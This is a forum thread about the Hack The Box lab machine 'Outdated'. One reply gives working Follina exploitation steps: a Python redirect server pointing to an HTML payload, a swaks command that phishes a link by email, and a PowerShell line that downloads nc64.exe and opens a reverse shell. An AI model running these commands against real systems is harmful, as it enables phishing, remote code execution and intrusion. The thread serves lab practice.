Outdated - HTB
by - Thursday, January 1, 1970 at 12:00 AM
thanks
Reply
.....
Reply
svxzvcxzvbdsvdcx
Reply
Thank you for this.
Reply
For follina part, the matter is make target to call HTML payload. From my test, the doc file is not important in this case.
what I did is, make a 301 redirect to html payload.

you may try different way

import http.server
import socketserver

class myHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print(self.path)
        if self.path == '/test':
            self.send_response(301)
            self.send_header('Location','http://10.10.XX.XX:9999/index.html') #if your html payload on rt 9999
            self.end_headers()
        return http.server.SimpleHTTPRequestHandler.do_GET(self)

theport = 80
Handler = myHandler
pywebserver = socketserver.TCPServer(("", theport), Handler)

print("Python based web server. Serving at port", theport)
pywebserver.serve_forever()


send link via email

swaks --to [email protected] --from test@test--server mail.outdated.htb --body "http://10.10.XX.XX/test"

make sure you change nc64.exe location to your kali machine 

command = f"""Invoke-WebRequest http://10.10.XX.XX/nc64.exe -OutFile C:\\Windows\\Tasks\
c.exe; C:\\Windows\\Tasks\
c.exe -e cmd.exe {serve_host} {netcat_PORT_NO}"""
Reply
THq ASAD
Reply
Naisu
Reply
I guess i'm still a newbie to get all of this
Reply
thx a lot
Reply
Box seems unstable. Getting callbacks for the initial foothold is very hit and miss.
Reply


 Users viewing this thread: Outdated - HTB: No users currently viewing.